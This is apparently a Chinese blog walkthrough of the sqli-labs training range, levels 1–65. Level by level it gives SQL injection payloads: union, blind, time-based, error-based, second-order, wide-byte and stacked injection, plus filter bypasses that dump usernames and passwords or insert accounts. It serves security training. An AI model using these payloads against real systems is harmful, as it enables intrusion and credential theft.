目录
mysql数据结构
1.sqli-labs第一关
1.1判断是否存在sql注入
2.2 联合注入
2.sqli-labs第二关
3.sqli-labs第三关
4.sqli-labs第四关
5.sqli-labs第五关
6.sqli-labs第六关
7.sqli-labs第七关
8.sqli-labs第八关
9.sqli-labs第九关
10.sqli-labs第十关
11.sqli-labs第十一关
12.sqli-labs第十二关
13.sqli-labs第十三关
14.sqli-labs第十四关
15.sqli-labs第十五关
16.sqli-labs第十六关
17.sqli-labs第十七关
18.sqli-labs第十八关
19.sqli-labs第十九关
20.sqli-labs第二十关
21.sqli-labs第二十一关
22.sqli-labs第二十二关
23.sqli-labs第二十三关
24.sqli-labs第二十四关
25.sqli-labs第二十五关
26.sqli-labs第二十六关
26-a.sqli-labs第二十六-a关
27.sqli-labs第二十七关
27-a.sqli-labs第二十七-a关
28.sqli-labs第二十八关
28-a.sqli-labs第二十八-A关
29.sqli-labs第二十九关
30.sqli-labs第三十关
31.sqli-labs第三十一关
32.sqli-labs第三十二关
33.sqli-labs第三十三关
34.sqli-labs第三十四关
35.sqli-labs第三十五关
36.sqli-labs第三十六关
37.sqli-labs第三十七关
38.sqli-labs第三十八关
39.sqli-labs第三十九关
40.sqli-labs第四十关
41.sqli-labs第四十一关
42.sqli-labs第四十二关
43.sqli-labs第四十三关
44.sqli-labs第四十四关
45.sqli-labs第四十五关
46.sqli-labs第四十六关
47.sqli-labs第四十七关
48.sqli-labs第四十八关
49.sqli-labs第四十九关
50.sqli-labs第五十关
51.sqli-labs第五十一关
52.sqli-labs第五十二关
53.sqli-labs第五十三关
54.sqli-labs第五十四关
55.sqli-labs第五十五关
56.sqli-labs第五十六关
57.sqli-labs第五十七关
58.sqli-labs第五十八关
59.sqli-labs第五十九关
60.sqli-labs第六十关
61.sqli-labs第六十一关
62.sqli-labs第六十二关
63.sqli-labs第六十三关
64.sqli-labs第六十四关
65.sqli-labs第六十五关
如果刚开始接触sql注入,那么sqli-labs这个靶场会很适合你,里面包含了很多的情景,以及我们在sql注入的时候遇到的阻碍。本章将1-65关重点关卡进行详细讲解。代码基本上很全。如果靶场练习完了可以看我这篇SQL注入总结会更好掌握。SQL注入非常详细总结_糊涂是福yyyy的博客-CSDN博客_sql注入数据包
在练习靶场前我们需要了解以下mysql数据库结构,mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。我们前面机关讲解比较详细后面就比较简单了。
1.提示你输入数字值的ID作为参数,我们输入?id=1
2.通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。
3.接下来我们判断sql语句是否是拼接,且是字符型还是数字型。
4.可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1'order by 3 --+
第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id=-1'union select 1,2,3--+
第三步:获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。
?id=-1'union select 1,database(),version()--+
第四步: 爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第五步:爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
第六步:通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是差不多的,
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
通过下面代码构建就可以进行sql注入。后面所有代码以此为基础进行构造。
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
第五关根据页面结果得知是字符型但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
第六关和第五关是差不多的,根据页面报错信息可以猜测id参数是双引号,只需将第五关的单引号换成双引号就可以了。
第七关当在输入id=1,页面显示you are in... 当我们输入id=1'时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。当我们输入id=1"时显示正常所以我们可以断定参数id时单引号字符串。因为单引号破坏了他原有语法结构。然后我输入id=1'--+时报错,这时候我们可以输入id=1')--+发现依然报错,之时我试试是不是双括号输入id=1'))--+,发现页面显示正常。那么它的过关手法和前面就一样了选择布尔盲注就可以了。
第八关和第五关一样就不多说了。只不过第八关没有报错信息,但是有you are in..进行参照。id参数是一个单引号字符串。
第九关会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
第十关和第九关一样只需要将单引号换成双引号。
从第十一关开始,可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面。前十关使用的是get请求,参数都体现在url上面,而从十一关开始是post请求,参数是在表单里面。我们可以直接在输入框进行注入就行。并且参数不在是一个还是两个。根据前面的认识我们可以猜测sql语句。大概的形式应该是这样username=参数 and password=参数 ,只是不知道是字符型还是整数型。
当我们输入1时出现错误图片
当我们输入1',出现报错信息。根据报错信息可以推断该sql语句username='参数' and password='参数'
知道sql语句我们可以构造一个恒成立的sql语句,看的查询出什么。这里我们使用--+注释就不行,需要换成#来注释, 这个就和我们第一关是一样了。使用联合注入就可以获取数据库信息。
当我们输入1'和1时候页面没有反应
当我们输入1"的时候页面出现报错信息,就可以知道sql语句是双引号且有括号。
那么我们可以构造下面语句进行sql注入。
1" ) or 1=1 #判断是否存在sql注入。
1" ) union select 1,2#
十三关和十二关差不多,只需要将双引号换成单引号。
十四关和十一关差不多,只需要将单引号换成双引号。
第十五关和第十一关一样,只是不产生报错信息。这就是明显的布尔盲注。因为还有错误页面和正确页面进行参考。
第十六关和十二关一样,需要布尔盲注。
第十七关和前面的关有很大不一样,根据页面展示是一个密码重置页面,也就是说我们已经登录系统了,然后查看我们源码,是根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检查,对输入的特殊字符转义。所以我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,这里有一个update更新数据库里面信息。所以之前的联合注入和布尔盲注以及时间盲注都不能用了。这里我们会用到报错注入。用到三种mysql报错注入,下面都给大家详细写出步骤,大家可以借鉴。
这里介绍的报错注入可以选择extractvalue()报错注入,updatexml()报错注入和group by()报错注入。下面简单说一下者三种报错注入的原理。
extractvalue报错注入
extractvalue(XML_document,XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错,下面的语法就是错误的。concat和我前面说的的group_concat作用一样
下面已将该报错注入代码给到大家,在最后一步爆字段内容时候,会报错,原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表。这个关卡需要输入正确账号因为是密码重置页面,所以爆出的是该账户的原始密码。如果查询时不是users表就不会报错。
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))# 爆版本
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))# 爆数据库
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# 爆表名
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#
爆字段名
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))# 爆字段内容该格式针对mysql数据库。
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 爆字段内容。
updatexml报错注入
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
当我们XPath_string语法报错时候就会报错,updatexml()报错注入和extractvalue()报错注入基本差不多。
下面已将该报错注入代码给到大家,最后爆字段和上面一样如果加一个中间表。
123' and (updatexml(1,concat(0x5c,version(),0x5c),1))# 爆版本
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))# 爆数据库
123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))# 爆表名
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#
爆字段名
123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#
爆密码该格式针对mysql数据库。
爆其他表就可以,下面是爆emails表
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#
1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))# 爆字段内容。
group by报错注入
group by 报错可以看这个文章,此文章博主写的很清楚。这个报错注入比前面两个复杂一点。
深入理解group by报错注入_m0_53065491的博客-CSDN博客
123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))# 爆数据库
123' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))# 爆数据库版本
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))# 通过修改limit后面数字一个一个爆表
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))# 爆出所有表
1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))# 爆出所有字段名
1' and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))# 爆出所有字段名
1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)# 爆出该账户的密码。
这关我们直接看到看到页面有一个ip,我们 可以简单看一下源码,发现对于输入的账户名和密码都有进行检查,但是往下看会发现一个插入的sql语句,当我们输入争取的账户名和密码我们的User-Agent字段内容就会出现在页面上。所以可以从这上面下功夫
当我们在User-Agent后面加上单引号出现如下报错,可见插入语句是将ua字段内容和ip地址以及账户名作为字符串进行插入且外面有括号。还要注意该插入语句需要三个参数,所以我们在构造时候也需要有三个参数。因为#号后面都被注释了。
所以我们可以构造如下数据,页面显示正常。可以将其他参数换成sql语句进行报错注入
大家可以自己报错注入方式进行注入,updatexml和extractvalue报错注入爆出来的数据长度是有限的。
1' ,2, (extractvalue(1,concat(0x5c,(select group_concat(password,username) from users),0x5c)))# 爆账户密码。
1',2,updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))# 爆账户密码。
十九关当我们输入正确的账户密码我们的referer字段内容会显示在页面上。该插入的sql语句有两个参数一个是referfer,还有ip地址。下面代码可以报错账户密码。前面的大家自己构造了。
1',updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#
第二十关当我们输入正确页面时候cookie字段显示在页面上,进行抓包。进行注入
'and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
第二十一关和二十关很像,唯一不一样就是cookie哪里不是账户名而是一串字符。有点经验就知道是base64编码,所以我们可以将单引号进行编码jw==可以发现报错并且还得有括号。
将注入代码进行编码,可以看到爆出账户密码。
')and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
第二十二关和第二十一关一样只不过cookie是双引号base64编码,没有括号。
第二十三关重新回到get请求,会发现输入单引号报错,但是注释符不管用。猜测注释符被过滤,看来源码果然被注释了,所以我们可以用单引号闭合,发现成功。之后可以使用联合注入。不过在判断列数时候不能使用order by 去判断需要用?id=-1' union select 1,2,3,4 or '1'='1通过不停加数字判断最后根据页面显示是三列,且显示位是2号。
?id=1' or '1'='1
这样sql语句就变成 id='1' or '1'='1'
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1
?id=-1' union select 1,(select group_concat(password,username) from users),3 or '1'='1
第二十四关有一个登录页面和注册页面还要一个修改密码页面,该关卡使用得是二次注入,因为登录页面和注册页面对于密码和账户名都使用mysql_real_escape_string函数对于特殊字符进行转义。这里我们利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的。
首先我们看到管理员账户,admin,密码是1,但是通常情况下我们是不知道密码的,只能猜测管理员账户的admin。我们先注册一个账号名叫admin'#。
我们先注册一个账号名叫admin'#。可以看到我们成功将有污染的数据写入数据库。单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。
之后也用户名admin'#和密码是123456登录,进入修改密码页面。原始密码输入123456,新密码我输入的是111111,可以看到密码修改成功。
当我们数据库查看的时候发现修改的是管理员的密码。而不是我们的注册账户的密码。
第二十五关根据提示是将or和and这两个替换成空,但是只替换一次。大小写绕过没有用。我们可以采用双写绕过。本次关卡使用联合注入就可以了,information里面涉及or可以写成infoorrmation。
?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
第二十六关将逻辑运算符,注释符以及空格给过滤了,我们需要使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换。空格绕过网上找了些资料,对于绕过空格限制有大把的方式对于空格,有较多的方法:%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格,我在windows和kali里面都用不了,可能是因为apache解析不了。只能使用()绕过。报错注入空格使用比较少所以我们可以使用报错注入。
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0 爆表
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0 爆字段
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0 爆密码账户
该关卡和二十六关差不多,多了一个括号。不能使用报错注入,该页面不显示报错信息。需要使用联合注入和盲注。
二十七关和二十六差不多不过二十七关没有过滤and和or,过滤了select和union,我们可以大小写绕过以及重写绕过。
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0 爆表
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0 爆字段
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0 爆密码账户
该关是双引号且页面不显示报错信息。过滤规则和二十七关一样。所以我们需要使用盲注和联合注入。
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1
###?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,username)from%0Ausers%0Aand"1
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,id,username)from%0Ausers%0Awhere%0Aid=3%0Aand"1
该关卡过滤了注释符空格还过滤了union和select。\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用重写绕过写。
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A('1
该关卡只过滤union+select。其他没有过滤。
?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+
二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。
?id=1&id=-2%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表
?id=1&id=-2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+ 爆字段
?id=1&id=-2%27%20union%20select%201,group_concat(password,username),3%20from%20users--+
爆密码账户
三十关和二十九关差不多,将单引号换成双引号
?id=1&id=-2"%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表
?id=1&id=-2"%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+ 爆字段
?id=1&id=-2"%20union%20select%201,group_concat(password,username),3%20from%20users--+
三十一关和三十关差不多,多了一个括号
?id=1&id=-2")%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表
?id=1&id=-2")%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+ 爆字段
?id=1&id=-2")%20union%20select%201,group_concat(password,username),3%20from%20users--+
第三十二关使用preg_replace函数将 斜杠,单引号和双引号过滤了,如果输入id=1"会变成id=1\",使得引号不起作用,但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。
?id=-1%df%27%20union%20select%201,database(),3%20--+
?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+ 爆字段
?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+
第三十二关和三十三关一模一样
三十四关是post提交,使用addslashes函数对于账户和密码都进行转义,使用宽字节注入就行。
1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ 爆字段名
1%df%27 union select 1,group_concat(password,username) from users--+ 爆密码账户
使用addslashes函数对于输入的内容进行转义,但是id参数没有引号,主要影响在与后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码就行,直接使用联合查询就可以了
?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表
?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+ 爆字段
?id=-1%20union%20select%201,group_concat(password,username),3%20from%20users--+
使用mysql_real_escape_string函数对于特殊字符进行转义。id参数是单引号,和前面三十二关一样
三十七关是post提交,使用mysql_real_escape_string函数对于账户和密码都进行转义,使用宽字节注入就行。和三十四关一样。
1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ 爆字段名
1%df' union select 1,group_concat(password,username) from users--+ 爆密码账户
三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,不过这里可以有另外一种注入就是堆叠注入,因为存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
#向数据表插入自己的账户密码
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())b--+ 查询字段
?id=-1' union select 1,2,(select group_concat(username,password) from users)b--+ 查询密码账户
id参数是整数,正常联合注入就行。
?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()
?id=-1%20union%20select%201,group_concat(username,password),3%20from%20users
四十关id参数是单引号加括号闭合,然后使用联合注入就可以了
?id=-1%27)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
?id=-1%27)%20union%20select%201,group_concat(username,password),3%20from%20users%20--+
四十一关和三十九关一样,id是整数。
四十二关是因为账户进行了转义处理密码没有做处理,数据库没有使用gbk编码不能向上面一样使用宽字节注入,但是存在堆叠注入函数,所以我们可以在密码哪里使用堆叠注入。向数据库里面插入密码账号,这样我们再来使用其进行登录就很简单了。
login_user=1&login_password=1';insert into users(id,username,password) values ('39','less30','123456')--+&mysubmit=Login
四十三关和四十二关差不多,就是密码参数是单引号和括号闭合的。
login_user=1&login_password=1'); insert into users(id,username,password) values ('44','less34','123456')--+&mysubmit=Login
四十四关和四十二关一样
四十五关和四十三关一样
使用新的参数sort,通过输入1,2,3表中出现不同数据,该sql语句是order by,sql语句参数没有引号且不能使用联合注入,有报错显示,所以我们可以使用updatexml进行报错。
?sort=1%20and%20(updatexml(1,concat(0x5c,(select%20group_concat(password,username)%20from%20users),0x5c),1))
四十七关和四十六差不多,多了一个单引号闭合,可以使用报错注入
四十八关和四十六一样只不过没有报错显示,所以使用延时注入。
四十九关和四十七关一样,不过没有报错显示,所以使用延时注入。
五十关和四十六关一样,可以使用updatexml进行报错注入,不过这个里面还可以使用堆叠注入,因为使用了mysqli_multi_query函数,支持多条sql语句执行。也可以延时注入。可以借鉴三十八代码
该参数单引号闭合,可以报错注入,可以延时注入,可以堆叠注入。
该参数是整数型,且没有报错显示,只能堆叠注入或者延时注入。
该参数是字符型,单引号闭合,没有报错显示,可以使用堆叠注入和延时注入。
五十四关翻译页面的英文,得知只有十次输入机会,超过十次所有表名,列名,等等都会随机重置。id参数是单引号闭合就行。
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表名
注意上面这个是我查到的表名,每个人不一样的表名,代码需要更改表名
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where%20table_schema=database() and table_name='8fof1zun81'--+ 爆列名
字段名也是不一样的,我们需要获取secret_31F4,所以每个人的列名也需要改。
?id=-1%27union%20select%201,group_concat(secret_31F4),3%20from%208fof1zun81--+ 获取key值
五十五关是有14次机会,id参数是加了括号的整数
?id=-1)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 报表名
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='69jwmv27j9'--+ 爆列名
?id=-1) union select 1,group_concat(secret_D1DW),3 from 69jwmv27j9--+ 获取key值
五十六关和前面两关类似需要单引号和括号。
?id=-1')%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表名
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='9ze4qmv307'--+ 爆列名
?id=-1') union select 1,group_concat(secret_CTVR),3 from 9ze4qmv307--+ 获取key值
五十七关就是双引号闭合
五十八关和前面几关不一样,因为该关卡的数据不是直接数据库里面取得,而是在一个数组里面取出得。所以联合注入是不行得。但是有报错显示,所以可以使用报错注入。
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='8edjk8ipbk'),0x7e),1)--+
爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_6W8M) from challenges.8edjk8ipbk),0x7e),1)--+
五十九关和五十八关一样使用报错注入,id是整数型。
六十关根据报错信息可知id参数是双引号加括号。
六十一关根据报错信息可知id参数是单引号加两个括号。
六十二关没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号加括号。具体代码往上翻
第五关(布尔盲注),第九关(时间注入)
?id=1%27) and if(length((select database()))=10,sleep(5),1)--+ 时间注入,如果出现延迟表示该数据库名长度是10
?id=1%27)and length((select database()))=10--+ 布尔盲注
六十三关没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号。第五关(布尔盲注),第九关(时间注入)
和前面两关一样,id参数是两个括号的整数型。